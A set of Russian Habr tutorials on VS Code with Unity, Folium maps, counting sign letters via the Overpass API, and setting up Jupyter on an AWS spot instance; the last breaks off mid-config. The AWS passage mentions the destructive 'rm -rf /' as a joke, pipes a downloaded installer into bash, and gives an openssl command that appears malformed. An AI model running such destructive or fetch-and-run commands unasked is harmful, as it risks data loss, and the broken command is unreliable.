Unity3D является популярной средой разработки игр, но на OS X в качестве средства для редактирования кода на C# и JavaScript используется MonoDevelop. Продемонстрируем процесс на C# проекте.
Воспользуемся Unity3D, чтобы создать новый проект или откроем существующий, содержащий файл на С#. Первое, что необходимо сделать, это изменить редактор по умолчанию. Для этого в **Unity -> Preferences** на вкладке **External Tools** найдем выпадающий список **External Script Editor**, который содержит MonoDevelop по умолчанию и выберем Visual Studio Code в папке Applications.
Сразу после этого можно любой C# файл открыть в Code. Обратим внимание, что открыт только файл и, Code все еще не содержит никакой информации о проекте, поэтому множество возможностей по прежнему отключены.
Откроем проект. В зависимости от версии Unity, проектные файлы могут быть не созданы по умолчанию, поэтому можно воспользоваться пунктом меню Open C# Project. В результате выполнения этой команды, в каталоге проекта можно найти sln и csproj файлы:
[](https://habrastorage.org/files/eea/45f/315/eea45f315a0040ecab17ca5d442a6724.png)
Эти форматы поддерживаются Visual Studio Code, поэтому можно открыть каталог.
Unity работает с несколькими проектами, которые используются для сборки игры на различных этапах, но чтобы открыть только один из них воспользуемся строкой состояния и нажмем pick a project:
Visual Studio Code отобразит всплывающее окно, где можно выбрать проект. В этом случае нужен проект с суффиксом csharp:
Visual Studio Code использует OmniSharp компилятор, который требует последнюю версию mono, поэтому для избежания ошибок установим последнюю версию mono c сайта mono-project.com.Как только все установлено, Visual Studio Code требуется перезапустить и снова открыть C# файл.
Теперь IntelliSense система работает правильно, и можно продолжать работу в Code:
[](https://habrastorage.org/files/c04/24c/159/c0424c159e3543438805322532c54c97.png)
#### Отладка
Visual Studio Code поддерживает отладку для node.js проектов и для проектов на mono. Продемонстрируем возможности отладчика на примере интеграции Unity и Visual Studio Code, поскольку Unity использует Mono.
Чтобы активировать отладку в Code необходимо создать файл launch.json и внести туда настройки отладчика. Переходи в окно Debug и нажимаем кнопку Settings, чтобы активировать создание launch.json:
Удаляем из созданного файла весь код для работы с node.js, и добавим следующий:
```
{
"version":"0.1.0",
"configurations":[
{
"name":"Unity",
"type":"mono",
"address":"localhost",
"port":56060
}
]
}
```
Если используется Unity plugin, то небходимо проверить, что опция Write Launch File установлена:
Если опция установлена, то необходимо запустить приложение в Unity плейере и launch.json будет создан автоматически.
Для запуска отладчика перейходим в окно Debug и нажимаем Start. Сразу после этого можно перейти в Unity и запустить игру в плейере. Если все хорошо, то можно увидеть работу отладчика:
[](https://habrastorage.org/files/74a/c3c/be2/74ac3cbe2b174bdbb350ce0f5437d64d.png)
Отладчик обладает всеми необходимыми атрибутами, характерными для профессиональных инструментов: Breakpoints, Call Stack, Watch, Variables, Debug Action Panel, Debug Console.
#### Задачи
В контексте Visual Studio Code можно выполнить любую команду командной строки и просмотреть результаты работы прямо из среды разработки. Таким образом можно использовать внешние компиляторы, отладчики, средства тестирования и тд.
Открыв Command Palette и набрав Run Task, Вы можете увидеть, что Code распознал все задачи в конфигурационном файле для grunt и их можно запустить. В результате работы задачи, можно увидеть новый JavaScript файл со всем исходным кодом внутри, преобразованным по алгоритму. При этом, результаты работы будут отображаться в окне Output, что позволит вовремя обнаружить проблему.
Visual Studio Code поддерживает специальные расширения, которые позволяют обрабатывать данные из output окна и преобразовывать их в форматированные сообщения, отображающиеся в списке ошибок.
#### Azure
Прямой интеграции Visual Studio Code c Azure не предусмотрено. Но существует способ, который облегчает процесс развертывания веб-сайтов из Code в Azure.
Для этого необходимо завести учетную запись Azure, открыть панель управления и создать новое веб-приложение, используя шаблон Web App, благодаря которому в течении нескольких секунд можно создать хостинг пространство для будущего сайта и разместить его там.
Как только инфраструктура создана можно перейти к настройкам. В данном сценарии — **Continuous deployment**:
[](https://habrastorage.org/files/1ec/8c0/0b8/1ec8c00b8fbe48fe903e26469d7fade4.png)
Отсюда, видно, что Azure поддерживает возможность развертывания решений из различного типа хранилищ. Именно с помощью интеграции с хранилищами GitHub и Visual Studio Online, описанных ранее, можно связать между собой Code и Azure. Таким образом, получая возможность продолжать выполнять удаленное развертывание кода прямо из интерфейса редактора Visual Studio Code.
#### Заключение
Visual Studio Code позволяет реализовать различные сценарии работы и выходит за рамки обычного редактора кода. Описанные сценарии охватывают только часть возможных сценариев, подробнее описанных на странице официальной документации.
Так же, мы с удовольствием делимся с вами **видео-материалами**, включающими в себя пошаговые инструкции по установке, настройке и работе с инструментом Visual Studio Code на Mac:
[Ссылка](https://channel9.msdn.com/Series/Visual-Studio-Code----Mac) на полный курс, где серия видео-инструкций подробно описывает каждый из упомянутых сценариев, включая работу с JavaScript, TypeScript и ASP.NET.
#### Полезные ссылки
* Портал Channel9: [Visual Studio Code для разработчиков на Mac](https://channel9.msdn.com/Series/Visual-Studio-Code----Mac)
* Сайт Visual Studio Code [http://code.visualstudio.com](http://code.visualstudio.com/)
* Блог команды разработчиков VS Code <http://blogs.msdn.com/b/vscode/>
* Твиттер <https://twitter.com/code>
* Запросы по функциям VS Code на сайте User Voice <https://visualstudio.uservoice.com/forums/293070-visual-studio-code> | https://habr.com/ru/post/268837/ | null | ru | null |
# Основы Интерактивных карт
Для визуализации интерактивных карт рассмотрим библиотеку - Folium.
Folium — это мощная библиотека визуализации данных в Python, которая была создана в первую очередь для того, чтобы помочь людям визуализировать гео-пространственные данные.
Folium - это библиотека с открытым исходным кодом, созданная на основе возможностей Datawrangling экосистемы.
С помощью Folium можно создать карту любого местоположения в мире, если вы знаете его значения широты и долготы.
Также можете создать карту и наложить маркеры, а также кластеры маркеров поверх карты для крутых и очень интересных визуализаций.
Folium - это библиотека Python, которая помогает создавать несколько типов карт Leaflet. Тот факт, что результаты Folium интерактивны, делает эту библиотеку очень полезной для создания информационных панелей.
На официальной странице документации Folium:
> Folium builds on the data wrangling strengths of the Python ecosystem and the mapping strengths of the Leaflet.js library. Manipulate your data in Python, then visualize it in on a Leaflet map via Folium.
>
>
Folium опирается на сильные стороны экосистемы Python и возможности сопоставления библиотеки Leaflet.js. Управляйте своими данными в Python, а затем визуализируйте их на карте Leaflet через Folium.
> Folium makes it easy to visualize data that's been manipulated in Python on an interactive Leaflet map. It enables both the binding of data to a map for choropleth visualizations as well as passing Vincent/Vega visualizations as markers on the map.
>
>
Folium позволяет легко визуализировать данные, обработанные в Python, на интерактивной карте Leaflet. Он позволяет как привязать данные к карте для визуализации choropleth, так и передавать визуализации Винсента / Веги в качестве маркеров на карте.
> The library has a number of built-in tilesets from OpenStreetMap, Mapbox, and Stamen, and supports custom tilesets with Mapbox or Cloudmade API keys. Folium supports both GeoJSON and TopoJSON overlays, as well as the binding of data to those overlays to create choropleth maps with color-brewer color schemes.
>
>
Библиотека имеет ряд встроенных наборов фрагментов из OpenStreetMap, Mapbox и Stamen и поддерживает настраиваемые наборы фрагментов с ключами API Mapbox или Cloudmade. Folium поддерживает наложения как GeoJSON, так и TopoJSON, а также привязку данных к этим наложениям для создания карт choropleth с цветовыми схемами цвета color-brewer.
Для интерактивной визуальной аналитики - библиотеку Folium сначала нужно установить. В терминале прописываем:
```
pip install folium
```
Теперь можно импортировать библиотеку Folium.
```
import folium
# Import folium MarkerCluster plugin
from folium.plugins import MarkerCluster
# Import folium MousePosition plugin
from folium.plugins import MousePosition
# Import folium DivIcon plugin
from folium.features import DivIcon
print('Folium installed and imported!')
```
Folium installed and imported!
Создание карты мира с помощью Folium довольно просто. Вы просто вызываете функцию карты - **folium**.Map(), и это все.
```
# define the world map
world_map = folium.Map()
# display world map
world_map
```
Карта мира (увеличенный масштаб) Что действительно интересно в картах, созданных Folium, так это то, что они являются интерактивными, поэтому можно увеличить или уменьшить масштаб после визуализации карты.
Карта мира Стиль карты по умолчанию - OpenStreetMap (открытая карта улиц), которая показывает вид улицы области при масштабировании и показывает границы стран мира при масштабировании.
Карта мира, Стиль карты - OpenStreetMap (открытая карта улиц) Теперь давайте создадим карту мира вокруг России и назовем ее - russia\_map . Для этого мы передаем значения широты и долготы России с помощью параметра location (местоположения) и с Folium вы можете установить начальный уровень масштабирования с помощью параметра zoom start.
```
russia_map = folium.Map(
location = [64.6863136, 97.7453061], # широта и долгота России
zoom_start = 4
)
# display russia map
russia_map
```
Карта мира вокруг Россииzoom start - это начальный уровень масштабирования, т.к. легко можно изменить уровень масштабирования после отображения карты путем увеличения или уменьшения масштаба.
Еще одна удивительная особенность Folium заключается в том, что можно создавать различные стили карт с помощью параметра tiles
Давайте создадим стиль 'Stamen Toner’ карты мира вокруг России. Это высококонтрастные черно-белые карты.
Этот стиль отлично подходит для визуализации и изучения речных меандров (изгибы русла реки) и прибрежных зон.
```
russia_map = folium.Map(
location = [64.6863136, 97.7453061], # широта и долгота России
zoom_start = 4,
tiles = 'Stamen Toner'
)
# display russia map
russia_map
```
Стиль 'Stamen Toner’ карты мира вокруг РоссииСтиль 'Stamen Toner’ карты мира вокруг России (увеличенный масштаб) Другой стиль - 'Stamen Terrain’ (тиснение местности). Этот стиль отлично подходит для визуализации затенения холмов и природных цветов растительности.
```
russia_map = folium.Map(
location = [64.6863136, 97.7453061], # широта и долгота России
zoom_start = 4,
tiles = 'Stamen Terrain'
)
# display russia map
russia_map
```
Стиль 'Stamen Terrain’ карты мира вокруг России Это карты с затенением холмов и цветами естественной растительности. Они демонстрируют усовершенствованную маркировку и обобщение линий дорог с двусторонним движением.
Стиль 'Stamen Terrain’ карты мира вокруг России (увеличенный масштаб)Как накладывать маркеры поверх карты для интересных визуализаций?
Давайте посмотрим, как мы можем добавить красный круговой знак в центр Санкт-Петербурга. Для этого нам нужно создать так называемую группу объектов под названием Saint\_Petersburg.
Эта группа объектов пуста, а это значит, что дальше — нужно создать так называемые дочерние элементы (child) и добавлять их в группу объектов.
Так давайте создадим child в виде красного кругового знака, расположенного в центре Санкт-Петербурга. Для этого укажем местоположение нижестоящего элемента (Санкт-Петербурга), передавая его значения широты и долготы.
И как только мы закончим добавление дочерних элементов (child) в группу объектов, мы добавим выбранную группу на карту -
красный круговой знак наложен на верхней части карты и добавлен в центр города Санкт-Петербурга.
```
# generate map of Russia (составить карту россии)
russia_map = folium.Map(
location = [64.6863136, 97.7453061], # широта и долгота России
zoom_start = 4
)
# add a red marker to Saint Petersburg
# create a feature group (создать группу функций)
saint_petersburg = folium.map.FeatureGroup()
# style the feature group (стиль группы объектов)
saint_petersburg.add_child(
folium.features.CircleMarker(
[59.938732, 30.316229], radius = 5, # широта и долгота Санкт-Петербурга
color = 'red', fill_color = 'Red'
)
)
# add the feature group to the map (добавить группу объектов на карту)
russia_map.add_child(saint_petersburg)
# display russia map
russia_map
```
красный круговой знак наложен на верхней части карты и добавлен в центр города Санкт-Петербурга. Давайте, теперь подпишем красный круговой знак: - 'Санкт-Петербург, в разговорной речи - Пи́тер, сокр. - СПб’. Для этого мы просто используем функцию маркера и параметр всплывающего окна, чтобы передать любой текст, который мы хотим добавить к этому маркеру.
```
# generate map of Russia
russia_map = folium.Map(
location = [64.6863136, 97.7453061], # широта и долгота России
zoom_start = 4
)
# add a red marker to Saint Petersburg
# create a feature group
saint_petersburg = folium.map.FeatureGroup()
# style the feature group
saint_petersburg.add_child(
folium.features.CircleMarker(
[59.938732, 30.316229], radius = 5, # широта и долгота Санкт-Петербурга
color = 'red', fill_color = 'Red'
)
)
# add the feature group to the map
russia_map.add_child(saint_petersburg)
# label the Marker (пометить маркер)
folium.Marker([59.938732, 30.316229], # широта и долгота Санкт-Петербурга
popup = 'Санкт-Петербург, в разговорной речи - Пи́тер, сокр.- СПб').add_to(russia_map)
# display russia map
russia_map
```
подпись 'Санкт-Петербург, в разговорной речи - Пи́тер, сокр. - СПб’ к маркеру красный круговой знакподпись 'Санкт-Петербург, в разговорной речи - Пи́тер, сокр. - СПб’ к маркеру красный круговой знак (увеличенный масштаб), cтиль карты - OpenStreetMap Давайте добавим MousePosition на карту, чтобы получить координаты наведения курсора мыши на точку на карте. Таким образом, это позволяет исследовать карту и легко найти координаты любых точек интереса (например, дворцовый мост, литейный мост).
```
# Add Mouse Position to get the coordinate (Lat, Long) for a mouse over on the map
formatter = "function(num) {return L.Util.formatNum(num, 5);};"
mouse_position = MousePosition(
position='topright',
separator=' Long: ',
empty_string='NaN',
lng_first=False,
num_digits=20,
prefix='Lat:',
lat_formatter=formatter,
lng_formatter=formatter,
)
russia_map.add_child(mouse_position)
russia_map
```
MousePosition (координаты показаны в верхнем левом углу) Можно рассчитать расстояние между двумя точками на карте на основе их значений широты и долготы, используя следующий метод:
```
from math import sin, cos, sqrt, atan2, radians
def calculate_distance(lat1, lon1, lat2, lon2):
# approximate radius of earth in km
R = 6373.0
lat1 = radians(lat1)
lon1 = radians(lon1)
lat2 = radians(lat2)
lon2 = radians(lon2)
dlon = lon2 - lon1
dlat = lat2 - lat1
a = sin(dlat / 2)**2 + cos(lat1) * cos(lat2) * sin(dlon / 2)**2
c = 2 * atan2(sqrt(a), sqrt(1 - a))
distance = R * c
return distance
```
Отметим точку на Дворцовом мосту с помощью MousePosition и вычислим расстояние от нашего красного круглого маркера до Дворцового моста.
```
#Distance to Palace Bridge Дворцовый мост
coordinates = [
[59.93876, 30.31623], # координаты красного круглого маркера
[59.94022, 30.30931]] # координаты дворцового моста
lines=folium.PolyLine(locations=coordinates, weight=1)
russia_map.add_child(lines)
distance = calculate_distance(coordinates[0][0], coordinates[0][1],
coordinates[1][0], coordinates[1][1])
distance_circle = folium.Marker(
[59.94022,30.30931],
icon=DivIcon(
icon_size=(20,20),
icon_anchor=(0,0),
html='**%s**' % "{:10.2f} KM".format(distance),
)
)
russia_map.add_child(distance_circle)
russia_map
```
0.42 км - расстояние от нашего красного круглого маркера до Дворцового мостаОтметим точку на Литейном мосту с помощью MousePosition и вычислим расстояние от нашего красного круглого маркера до Литейного моста.
```
#Distance to Foundry bridge Литейный мост
coordinates = [
[59.93876, 30.31623], # координаты красного круглого маркера
[59.94981, 30.34906]] # координаты литейного моста
lines=folium.PolyLine(locations=coordinates, weight=1)
russia_map.add_child(lines)
distance = calculate_distance(coordinates[0][0], coordinates[0][1],
coordinates[1][0], coordinates[1][1])
distance_circle = folium.Marker(
[59.94981,30.34906],
icon=DivIcon(
icon_size=(20,20),
icon_anchor=(0,0),
html='**%s**' % "{:10.2f} KM".format(distance),
)
)
russia_map.add_child(distance_circle)
russia_map
```
2.20 км - расстояние от нашего красного круглого маркера до Литейного моста. Разве это не круто? Folium - это мощная библиотека визуализации данных в Python! | https://habr.com/ru/post/664888/ | null | ru | null |
# Как найти количество всех букв на всех знаках вида «въезд в город Х» в стране? Точный способ ответить на такие вопросы
Недавно в рамках одного собеседования мне понадобилось решить задачу, условие которой приведено ниже:
> У лучшего в мире управляющего по имени Пенультимо родилась очередная гениальнейшая идея, peализовать которую вам и предстоит. Он верит, что поток туристов на Исла-де-Эдукадос повысится, если он сможет рассказать всему миру, как же много замечательных дорожных знаков с длинными надписями eсть у них на острове. Вам предлагается придумать алгоритм, позволяющий подсчитать суммарное количество букв на всех знаках «Въезд в город Х» на острове, а затем применить полученные знания для подсчёта аналогичной метрики для Республики Беларусь. Обратите внимание язык, используемый для обозначения населённых пунктов, а также тот факт, что въездов в город может быть несколько. Пенультимо также приветствует инициативность, так что можете исследовать этот вопрос для отдельных областей, провести сравнение с количеством людей, проживающих в области, а также провести любые другие исследования, которые покажутся Вам интересными.
Под катом покажу точное решение этой и других похожих задач, например: «Сколько АЗС находится в пределах Москвы?»
Общий метод решения
-------------------
Если взглянуть на карту OpenStreetMap, то на ум сразу приходит следующая идея: а давайте для каждого города получим его границы и дороги, находящиеся внутри его границ, а потом найдем их пересечения, на которых будут стоять знаки! Как будем искать пересечения: берем отрезок границы, потом отрезок дороги и смотрим, пересекаются ли они (типичная геометрическая задача). И так пока не кончатся все отрезки и города.
**Про архитектуру данных OSM**
Вообще, есть три главных компонента: узлы, линии и отношения.
Каждый элемент имеет свой ID, а также свои теги.
* Узел — это просто точка на карте, имеющая кроме ID также широту и долготу
* Линия — это отсортированный список узлов, который представляет контур здания или отдельную улицу
* Отношение — это список, состоящий из узлов, линий или других отношений, представляющий логические или географические связи между объектами на карте
OverPass
--------
OverPass — Это API для получения данных из OpenStreetMap. Оно имеет свой язык составления запросов, про него подробно можно почитать [В этой статье](https://janakiev.com/blog/openstreetmap-with-python-and-overpass-api/).
Для того чтобы было проще и удобнее составлять запросы, есть инструмент [Overpass-turbo](http://overpass-turbo.eu/), где результат выполнения запроса можно посмотреть в удобном и интерактивном виде.
#### Использование OverPass API в Python
Для обработки данных из OSM в Питоне можно использовать пакет Overpy в качестве оболочки.
Для отправки запросов и получения данных нужно проделать следующее:
```
import overpy
api = overpy.Overpass()
Data = api.query("""
*ваш запрос*
""")
```
где в переменной(?) Data и содержится все, что выдал нам сервер.
Как обработать эти данные? Предположим, что мы ввели следующий запрос на получение границ Минска:
```
relation["type"="boundary"]["boundary"="administrative"]["name:be"="Мінск"];
//Дословно: отношение вида административная граница города Минска
>; out skel qt;
```
На выходе имеем файл XML (можно выбрать Json), имеющий следующую структуру:
```
<*шапка файла*>
<далее идет подобное перечисление всех узлов>
<далее указаны пути и ID узлов, из которых они состоят>
```
Давайте получим некоторые данные:
```
import overpy
api = overpy.Overpass()
Data = api.query("""
relation["type"="boundary"]["boundary"="administrative"]["name:be"="Мінск"];
>; out skel qt;
""")
Xa=Data.ways[0].nodes[0].lon #получаем долготу первого узла первой линии
Ya=Data.ways[0].nodes[0].lat #получаем широту
Xb=Data.ways[0].nodes[1].lon
Yb=Data.ways[0].nodes[1].lat
NodeID=Data.ways[0]._node_ids[0] #получаем ID первого узла первой линии
print(len(Data.nodes)) #получаем общее количество узлов
print(NodeID)
print(Xa,Ya)
print(Xb,Yb)
```
С точки зрения работы с OpenStreetMap в питоне, это всё, что понадобится, чтобы достать данные.
Перейдем непосредственно к задаче
---------------------------------
Для ее решения написан код на Питоне, увидеть его можно под спойлером. Просьба сильно не ругать за качество кода, это первый такой большой проект на нем.
**Заголовок спойлера**
```
import overpy
###########################
def line_intersection(line1, line2): #функция поиска пересечений
ax1 = line1[0][0]
ay1 = line1[0][1]
ax2 = line1[1][0]
ay2 = line1[1][1]
bx1 = line2[0][0]
by1 = line2[0][1]
bx2 = line2[1][0]
by2 = line2[1][1]
v1 = (bx2 - bx1) * (ay1 - by1) - (by2 - by1) * (ax1 - bx1)
v2 = (bx2 - bx1) * (ay2 - by1) - (by2 - by1) * (ax2 - bx1)
v3 = (ax2 - ax1) * (by1 - ay1) - (ay2 - ay1) * (bx1 - ax1)
v4 = (ax2 - ax1) * (by2 - ay1) - (ay2 - ay1) * (bx2 - ax1)
return (v1 * v2 < 0) & (v3 * v4 < 0)
#######################################
citytmp = []
city = []
Borderway = []
Roadway = []
Total = 0
A = [0, 0]
B = [0, 0]
C = [0, 0]
D = [0, 0]
amount = 0
progressbar = 0
ReadyData = open('Готовые данные.txt','w')
with open("Города Беларуси.txt", "r", encoding='utf8') as file:
for i in range(115):
citytmp.append(file.readline())
citytmp = [line.rstrip() for line in citytmp]
for i in range(115):
city.append('"' + citytmp[i] + '"')
city[0]='"Дзісна"'
api = overpy.Overpass()
for number in range(0,115):#главный цикл обработки, перебирает города
borderstring = """(
relation["type"="boundary"]["boundary"="administrative"]["name:be"=""" + city[number] + """][place=town];
relation["type"="boundary"]["boundary"="administrative"]["name:be"=""" + city[number] + """][place=city];
);
>; out skel qt;"""
roadstring = """(
area[place=town]["name:be"=""" + city[number] + """];
way["highway"][highway!=service]["highway"!="footway"]["highway"!="track"]["highway"!="path"]
["highway"!="cycleway"]["highway"!="pedestrian"]["highway"!="steps"]["highway"!="residential"](area);
area[place=city]["name:be"=""" + city[number] + """];
way["highway"][highway!=service]["highway"!="footway"]["highway"!="track"]["highway"!="path"]
["highway"!="cycleway"]["highway"!="pedestrian"]["highway"!="steps"]["highway"!="residential"](area);
);
out body; >; out skel qt;"""
print('Getting data about', city[number],'...')
road = api.query(roadstring)
border = api.query(borderstring)
print('got data!, city:', city[number]) #получаем данные
for w in range(len(border.ways)): #перебирает линии границ
for i in range(len(border.ways[w]._node_ids)):#перебирает узлы линий границ
progressbar = i / len(border.ways[w]._node_ids) * 100
print(progressbar, "%;", w, "of", len(border.ways), "parts ready; city-", city[number])
A[0] = border.ways[w].nodes[i].lon
A[1] = border.ways[w].nodes[i].lat
if i == len(border.ways[w]._node_ids) - 1:
break
B[0] = border.ways[w].nodes[i+1].lon
B[1] = border.ways[w].nodes[i+1].lat
for j in range(len(road.ways)):
for k in range(len(road.ways[j]._node_ids)):
C[0] = road.ways[j].nodes[k].lon
C[1] = road.ways[j].nodes[k].lat
if k == len(road.ways[j]._node_ids) - 1:
break
D[0] = road.ways[j].nodes[k+1].lon
D[1] = road.ways[j].nodes[k+1].lat
if line_intersection((A, B), (C, D)) == 1:
amount += 1
print(road.ways[j]._node_ids[k])
print(amount)
Total += amount * len(city[number])
ReadyData.write(str(city[number]))
ReadyData.write(str(amount))
ReadyData.write('\n')
amount = 0
print('Total', Total) #и вывод всего
```
### Заметки по коду
Я достаточно долго составлял запрос, подбирая разные типы дорог чтобы было меньше считать и чтобы не пропустить знаки. В итоговом запросе просто убраны те дороги, на которых нет знаков, например residential, service, footway, track и т. п.
Список городов я спарсил с википедии и сохранил в формате.тхт
Код выполняется достаточно долго, у меня даже один раз возникло желание переписать его на С++, но решил оставить так как есть. У меня он выполнялся два дня, все из-за проблем с ~~диктатурой~~ белорусским интернетом и перегруженностью сервера OverPass. Чтобы решить вторую проблему, нужно составить один запрос ко всем городам, но я еще не придумал как это нормально сделать.
**Мой ответ на задачу**
18981 буква
-----------
Что хочу сказать насчет правильности цифры: все упирается в качество данных самой OSM, то есть там есть места где, например, одну дорогу пересекает две линии границы, или где-нибудь на развязке граница проведена чуть-чуть не так, и в результате имеем лишнее/недостающее пересечение. Но это особенность конкретно этой не имеющей практического смысла задачи, в остальном OSM — сила.
Вторая задача
-------------
Сейчас давайте посчитаем количество заправок в пределах Москвы:
```
area[name="Москва"];
(
node["amenity"="fuel"](area);
way["amenity"="fuel"](area);
relation["amenity"="fuel"](area);
);
out body;
>;
out skel qt;
```
**Код**
```
import overpy
api = overpy.Overpass()
Data = api.query("""
area[name="Москва"];
(
node["amenity"="fuel"](area);
way["amenity"="fuel"](area);
relation["amenity"="fuel"](area);
);
out body;
>;
out skel qt;
""")
print(len(Data.nodes)) #получаем общее количество узлов
```
Результат — 489 заправок:
 | https://habr.com/ru/post/516394/ | null | ru | null |
# 16 ядер и 30 Гб под капотом Вашего Jupyter за $0.25 в час
Если Вам не очень повезло, и на работе нет n-ядерного монстра, которого можно загрузить своими скриптами, то эта статья для Вас. Также если Вы привыкли запускать скрипты на всю ночь (и утром читать, что где-то забыли скобочку, и 6 часов вычислений пропали) — у Вас есть шанс наконец познакомиться с Amazon Web Services.
В этой статье я расскажу, как начать работать с сервисом EC2. По сути это пошаговая инструкция по полуавтоматической аренде спотового инстанса AWS для работы с Jupyter-блокнотами и сборкой библиотек Anaconda. Будет полезно, например, тем, кто в соревнованиях Kaggle все еще пользуется своим игрушечным маком.
Наверное, реакция каждого, кто в первый раз зашел на сайт Amazon Web Services — это растерянность от обилия предлагаемых услуг и виртуальных машин (которые там называются инстансами).
В этом тьюториале я покажу, как недорого арендовать вычислительный инстанс AWS и быстро настроить на нем сервер Jupyter, чтоб пользоваться столь полюбившимися блокнотами. Акцент сделаем на сборке Anaconda и задачах машинного обучения, но понятно, что сервер можно в разных целях использовать, хоть биткоины майнить :)
**Мотивация**: хотим быстро (в течение 5-7 минут) получать доступ из Jupyter-блокнотов к вычислительным ресурсам посерьезней, чем у домашнего компа.
Вообще есть под это дело неплохой [тьюториал](https://gist.github.com/iamatypeofwalrus/5183133). Статья, которую Вы читаете — вольный перевод с дополнениями. Мы еще напишем скрипт, который будет запускаться каждый раз при аренде машины. А вот и [результат](https://github.com/Yorko/aws_jupyter_anaconda) для тех, кто в спешке.
Арендовывать мы будем спотовый инстанс с3.4xlarge с 16 ядрами и 30 Гб RAM.
«Спотовый» означает, что по сути мы будем участвовать в аукционе и, назначив цену за час пользования машиной, иметь к ней доступ до тех пор, пока спрос не возрастет. Если спрос возрастет, и рыночная цена превысит ту, которую мы назначили, машина от нас «убежит», причем внезапно. Именно по этой причине (нестабильности) многие боятся пользоваться спотовыми инстансами, хотя на них можно сильно сэкономить по сравнению с инстансами «по требованию». Та же машина, но в более «стабильном» режиме, [обойдется](https://aws.amazon.com/ru/ec2/pricing/) примерно в $0.85/час, мы же потратим вчетверо меньше.
Теперь про типы машин. Они неплохо [описаны](https://aws.amazon.com/ru/ec2/instance-types/) в документации AWS, так что выбираем тип С — машины, оптимизированные для вычислений.
Аренда машины
-------------
Для начала зарегистрируемся на [сайте](https://www.amazon.com) Amazon Web Services. Тут инструкций писать не буду — все как обычно, надо будет только подтвердить и по телефону, и по e-mail. К аккаунту надо будет кредитную карту привязать, но если боитесь трат, можно инстанс *m4large* (2 CPU, 8 Gb RAM) взять за $0.05/час.
Заходим в свою консоль AWS и находим в Services службу EC2 (Elastic Compute Cloud)
В разделе Spot Requests жмем «Request Spot Instance».
Выбираем тип ОС, которая будет стоять на виртуальной машине. В общих чертах: Windows дороже, среди \*Nix не так важно, какую именно выбирать, пусть это будет Ubuntu.
На следующей вкладке нам предлагают выбрать собственно инстанс. Здесь позалипаем, посравниваем ([тут](https://aws.amazon.com/ru/ec2/instance-types/) все подробней описано) и прокрутим до с3.4xlarge.
Затем самое главное — назначить цену за час пользования виртуалкой. Мы видим текущие цены в выбранных регионах.
Если видите, что у Вас цены намного выше, чем на скриншоте, значит, сейчас в текущем регионе всплеск — смените регион (в правом верхнем углу рядом с Вашим именем). Я пока с успехом использую регион Frankfurt, но можно и поизучать статистику, посмотреть, какие регионы подешевле и со стабильными ценами.
Цену лучше назначать раза в 1.5 выше текущей рыночной стоимости инстанса в данном регионе. При таком раскладе цена будет немного колебаться, но редко превышать заявленную Вами. Соответственно, так машина не часто будет «отваливаться».
Теперь подключим хранилище. Amazon угощает тридцатью Гб, так что почему бы не взять все 30…
Тегирование инстанса можно пропустить. И далее настройка портов. Тут главное — открыть порт, который мы будем использовать под Jupyter-сервер. Пусть по традиции это будет 8888. Жмем «Add rule», оставляем вариант «Custom TCP rule» и указываем порт 8888. Также добавляем протоколы HTTP и HTTPS и говорим, кто может прослушивать порты. Достаточно выбрать справа галки My IP.
На следующем шаге создаем ключ (pem-файл), который будет нас идентифицировать при удаленном подключении к машине через SSH протокол. Можно его назвать как угодно — главное после скачивания знать, где он лежит и **ни в коем случае (!!!)** не выкладывать на GitHub или куда-то еще онлайн. Относитесь к этому файлику почти как к паролю от банковской карты. Amazon рекомендует периодически обновлять pem-файлы (их можно иметь по 2 в каждом регионе, второй раз скачать тот же самый ключ нельзя).
Наконец все подтверждаем, ждем пару минут, пока инстанс запустится, и в EC2 на вкладке «Instances» замечаем, что что-то появилось.
Выбираем появившийся инстанс и жмем Connect. Amazon дает инструкции, что делать дальше.
Если Вы сидите под Windows, то для Вас чтение статьи не заканчивается (обычно на этом месте в тьюториалах можно прочитать «Windows? Good luck!»). Надо только прочитать инструкции Amazon, как подключиться с помощью Putty.
Если же Вы под \*NIX, то выполняем указанные 2 команды:
```
chmod 400 .pem
ssh -i .pem ubuntu@
```
Первая заботится о том, чтоб не у всякого проходящего был доступ к Вашему pem-файлу. Вторая — это собственно подключение к виртуалке cо своим уникальным хостом .
Настройка машины
----------------
Если все прошло гладко, вы как юзер ubuntu попадете в терминал удаленной машины.
Можем делать что угодно, запускать любые скрипты, но мы остановимся на настройке инстанса для задач машинного обучения с Jupyter. Все команды далее описаны, чтоб в них было проще разобраться (и убедиться, что все обошлось без шуточек в стиле *rm -rf /*), но вообще второй раз и далее мы это будем запускать bash-скриптом.
Скачиваем и устанавливаем Miniconda. Она все же намного легче Anaconda, а необходимые библиотеки мы доустановим (впрочем, seaborn у меня не попер, а с Anaconda все нормально). Мы с машинкой ненадолго, вряд ли больше чем на несколько часов, так что без перфекционизма — устанавливаем все в домашний каталог.
```
wget -c http://repo.continuum.io/miniconda/Miniconda-latest-Linux-x86_64.sh
bash Miniconda-latest-Linux-x86_64.sh -b -p ~/miniconda
export PATH=~/miniconda/bin:$PATH
```
Теперь установим все библиотеки, какие захотим.
```
conda install -y numpy scipy pandas scikit-learn jupyter
```
Можно, например, и [Vowpal Wabbit](https://github.com/JohnLangford/vowpal_wabbit/wiki) поставить (шустрые линейные модели, которые на больших выборках порой считаются и побыстрее MapReduce-реализаций).
```
sudo apt-get -qq install vowpal-wabbit
```
Не помешает и Git — так можно сразу нужный репозиторий скачать (использование Amazon S3 я в данном тюьториале не рассматриваю).
```
sudo apt-get -qq install git
```
Создадим сертификат, чтоб входить на Jupyter по паролю — так намного безопасней. Сейчас сделаем это руками, со второго раза этот созданный сертификат будет использоваться скриптом.
```
openssl req -x509 -nodes -days 365 rsa:2048 -keyout jupyter.pem -out jupyter.pem
```
Появится запрос об информации пользователя. В принципе это не обязательно заполнять.
Теперь создадим пароль для входа на Jupyter-сервер.
Можно воспользоваться функцией passwd из Ipython
```
python
>>> from IPython.lib import passwd
>>> passwd('Sample password')
```
Появится хэш Вашего пароля. Копируем его.
```
'sha1:d0c0b7eb515e:f0e59fcd04aec7bb50886084ae8e1fa9a273f88e'
```
Наконец, создаем профиль IPython и запускаем сервер, предварительно указав в файле настроек, какой порт мы хотим использовать и с каких адресов разрешен доступ. Указываем хэшированный пароль. У Вас пароль будет отличаться — надо вставить свой.
```
ipython profile create nbserver
printf "\n# Configuration file for ipython-notebook.\n
c = get_config()\n
# Notebook config\n
c.NotebookApp.ip = '*'\n
c.NotebookApp.password = u''sha1:d0c0b7eb515e:f0e59fcd04aec7bb50886084ae8e1fa9a273f88e''\n
c.NotebookApp.open_browser = False\n
